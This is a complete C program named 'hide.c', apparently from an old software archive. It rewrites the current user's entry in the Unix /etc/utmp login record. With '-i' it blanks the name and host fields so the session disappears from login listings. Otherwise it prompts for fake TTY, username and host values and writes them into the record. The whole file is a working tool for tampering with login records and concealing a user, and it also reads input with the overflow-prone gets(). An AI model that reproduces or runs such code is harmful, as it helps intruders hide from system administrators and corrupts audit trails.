home *** CD-ROM | disk | FTP | other *** search
- /* hide.c */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <utmp.h>
- #include <pwd.h>
-
- #define UTMPFILE "/etc/utmp"
-
- FILE *utmpfile;
- char *utmp_tmp[10240];
-
- main (argc, argv)
- int argc;
- char *argv[];
- {
-
- struct utmp *user_slot;
- struct passwd *pwd;
- char line[10], name[10], host[20];
- int index;
-
- printf ("Welcome to HIDE ! FORMAT: hide [-i]\n\n");
- utmpfile = fopen (UTMPFILE, "r+");
- if (utmpfile == NULL)
- {
- printf ("ERROR while opening utmp file... exiting...\n");
- exit ();
- }
- index = ttyslot(); /* Get this users utmp index */
- index *= sizeof(struct utmp); /* 36 */
- fseek(utmpfile, index, 0);
- /**** Get real UID ****/
- pwd = getpwuid (getuid());
- if (pwd == NULL)
- printf ("Who the hell are you???");
- else
- {
- printf ("Real user identity:\n");
- printf ("NAME %s\n", pwd->pw_name);
- printf (" UID %d\n", pwd->pw_uid);
- printf (" GID %d\n\n", pwd->pw_gid);
- }
- /**** If ARG1 = "-i" then disappear from utmp ****/
- if ( (argc>1) && (!strcmp(argv[1], "-i")) )
- {
- index+=8; /* Rel PNT name */
- fseek(utmpfile, index, 0);
- fwrite ("\000", 8, 1, utmpfile); /* NO NAME */
- fwrite ("\000", 8, 1, utmpfile); /* NO HOST */
- fclose(utmpfile);
- printf ("Removed from utmp\n");
- exit();
- }
- /**** Change utmp data ****/
- printf ("Enter new data or return for default:\n");
- fseek(utmpfile, index, 0); /* Reset file PNT */
- fread(line, 8, 1, utmpfile); line[8]=NULL;
- fread(name, 8, 1, utmpfile); name[8]=NULL;
- fread(host, 16, 1, utmpfile); host[16]=NULL;
- fseek(utmpfile, index, 0); /* Reset file PNT */
- dinput (" TTY [%s]%s", line, 8);
- dinput ("NAME [%s]%s", name, 8);
- dinput ("HOST [%s]%s", host, 16);
- fclose(utmpfile);
- }
-
- /* Data input */
- dinput (prompt, string, size)
- char *prompt;
- char *string;
- int size;
- {
- char input[80];
- char *stat;
- char space[] = " ";
-
- space[20-strlen(string)] = '\000';
- printf (prompt, string, space);
- stat = gets (input);
- if (strlen(input) > 0)
- fwrite (input, size, 1, utmpfile);
- else
- fseek (utmpfile, size, 1);
- }